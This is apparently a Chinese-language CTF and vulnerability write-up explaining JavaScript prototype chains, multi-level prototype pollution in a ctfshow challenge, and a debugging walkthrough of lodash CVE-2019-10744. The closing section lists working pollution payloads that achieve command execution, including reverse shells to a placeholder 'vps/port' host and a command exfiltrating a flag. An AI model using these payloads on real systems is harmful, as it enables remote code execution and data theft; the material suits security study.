0> 原型及其搜索機制

  • ? NodeJS原型機制,比較官方的定義:
我們創建的每個函數都有一個 prototype(原型)屬性,這個屬性是一個指針,指向一個對象,
而這個對象的用途是包含可以由特定類型的所有實例共享的屬性和方法

設計原型的初衷無非是對于每個實例對象,其擁有的共同屬性沒必要對每個對象實例再分配一片內存來存放這個屬性。而可以上升到所有對象共享這個屬性,而這個屬性的實體在內存中也僅僅只有一份。

而原型機制恰好滿足這種需求。

打個不太恰當的比喻,對于每個對象,都有其原型對象作為共享倉庫,共享倉庫中有屬性和方法供生產每個對象實例時使用

1> 原型鏈和繼承

  • ? 原型鏈
原型鏈是在原型上實現繼承的一種形式

舉個例子:

function Father(){
    this.name = "father";
    this.age = 66;
}
function Son(){
    this.name = "son";
}
var father1 = new Father();
Son.prototype = father1;
var son1 = new Son();
console.log(son1);
console.log(son1.__proto__);
console.log(son1.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__.__proto__);
/*
Father { name: 'son' }
Father { name: 'father', age: 66 }
{}
[Object: null prototype] {}       
null
*/

整個的原型繼承鏈如下:

  • ? 關于原型搜索機制:

1)搜索當前實例屬性

2)搜索當前實例的原型屬性

3)迭代搜索直至null

在上面的例子中
console.log(son1.name);
console.log(son1.age);
/*
son
66 
*/

2> 內置對象的原型

這個也是多級原型鏈污染的基礎

拿一張業內很經典的圖來看看

2.姿勢利用

1>利用原型污染進行RCE

global.process.mainModule.constructor._load('child_process').execSync('calc')

2>多級污染

ctfshow Web340中有這么一題:

/* login.js */
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }

由于Function原型對象的原型也是Object的原型,即

user --(__proto__)--> Function.prototype --(__proto__)--> Object.prototype

那么就可以通過這個進行多級污染,payload為如下形式:

{
    "__proto__":{
        "__proto__":{
            attack_code
        }
    }
}

3>Lodash模塊的原型鏈污染(以lodash.defaultsDeep(CVE-2019-10744)為例,進行CVE復現)

lodash版本 < 4.17.12
CVE-2019-10744:在低版本中的lodash.defaultDeep函數中,Object對象可以被原型鏈污染,從而可以配合其他漏洞。

看下官方樣例PoC的調試過程:

const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'
function check() {
    lodash.defaultsDeep({}, JSON.parse(payload));
    if (({})['whoami'] === "hack") {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
        console.log(Object.prototype);
    }
}
check();

開始調試:

在lodash中,baseRest是一個輔助函數,用于幫助創建一個接受可變數量參數的函數。

所以主體邏輯為,而這段匿名函數也將為func的函數的函數體

args.push(undefined, customDefaultsMerge);
return apply(mergeWith, undefined, args);

查看overRest

在變量監聽中可以發現,傳入的參數整合成一個參數對象args

繼續往下return apply

apply后進入,是個使用switch并且根據參數個數作為依據

發現使用了call,這里可能是個進行原型鏈繼承的可利用點。

(而這種技術稱為借用構造函數,其思想就是通過子類構造函數中調用超類構造函數完成原型鏈繼承)

function Super(){}
function Sub(){
    Super.call(this);   // 繼承
}

然后apply中返回至剛才的匿名函數體中(此時剛執行完baseRest(func)),其中customDefaultMergemerge的聲明方式

繼續深入,由上可知apply(func=mergeWith,thisArg=undefined,args=Array[4])

基于start的計算機制,不難得知undefined是作為占位符,使得start向后移動

繼續調試,在NodeJS中,普通函數中調用this等同于調用全局對象global

assigner視為合并的一個黑盒函數即可,至此完成原型鏈污染。

Question: 注意到PoC中的lodash.defaultsDeep({}, JSON.parse(payload));是要求先傳入一個object實例的(此處為{})
所以還是具體分析一下合并的過程(來看下assigner的一些底層實現)
注意:通常而言,合并需要考慮深淺拷貝的問題
/*baseMerge*/
    function baseMerge(object, source, srcIndex, customizer, stack) {
      if (object === source) {     // 優化判斷是否為同一對象,是則直接返回
        return;
      }
        
        // 遍歷source的屬性,選擇深淺復制
        
      baseFor(source, function(srcValue, key) {
        if (isObject(srcValue)) {
          stack || (stack = new Stack);
          baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
        }
        else {
          var newValue = customizer
            ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
            : undefined;
          if (newValue === undefined) {
            newValue = srcValue;
          }
          assignMergeValue(object, key, newValue);
        }
      }, keysIn);
    }
    var baseFor = createBaseFor();
    function createBaseFor(fromRight) {   // fromRight選擇從哪端開始遍歷  
      return function(object, iteratee, keysFunc) {
        var index = -1,
            iterable = Object(object),
            props = keysFunc(object),
            length = props.length;
        while (length--) {
          var key = props[fromRight ? length : ++index];
          if (iteratee(iterable[key], key, iterable) === false) { // 這里的iteratee即為baseFor中的匿名函數
            break;
          }
        }
        return object;
      };
    }

那我就再調試一下,在iteratee中(即匿名函數中),若為對象,則選擇深拷貝。

原來在4.17.12之前的版本也是有waf的,只是比較弱。

回歸正題,在customizer之后便產生了合并

所以,為了更好地觀察,我將{}替換成[](Array對象實例)

重新開始調試到此處并進入,發現這是一個迭代合并的過程,先判斷是否都為對象。如果是的話,則會進行壓棧然后開始淺拷貝合并。

這是在生成屬性時需要設置的四種數據屬性

回歸正題,發現只能寫入Array的原型

再驗證一下

const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'
var object = new Object();
function check() {
    // JSON.parse(payload)之后是一個JS對象
    lodash.defaultsDeep([],JSON.parse(payload));
    if (({})['whoami'] === "hack") {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
        console.log(Object.prototype);
    }
}
check();
console.log(Array.prototype);

所以說需要直接傳入一個Object的實例。

官方修復,直接上waf:檢測JSON中的payload中的key值
此處對比一下lodash4.17.12之前的版本,key值過濾得更為嚴格

總結一下,CVE-2019-10744可用的payload
# 反彈shell
{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/vps/port \"')//"}}}
# RCE
// 對于某個object實例
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}}
# 反彈shell
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"}}

3.參考文獻與鏈接

  1. 1. 《JavaScript高級程序設計語言》
  2. 2. https://www.anquanke.com/post/id/248170
  3. 3. ctfshow平臺題目
  4. 4. CVE-2019-10744 WAF:https://github.com/lodash/lodash/pull/4336/files
  5. 5. https://www.viewofthai.link/2022/04/22/lodash%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93/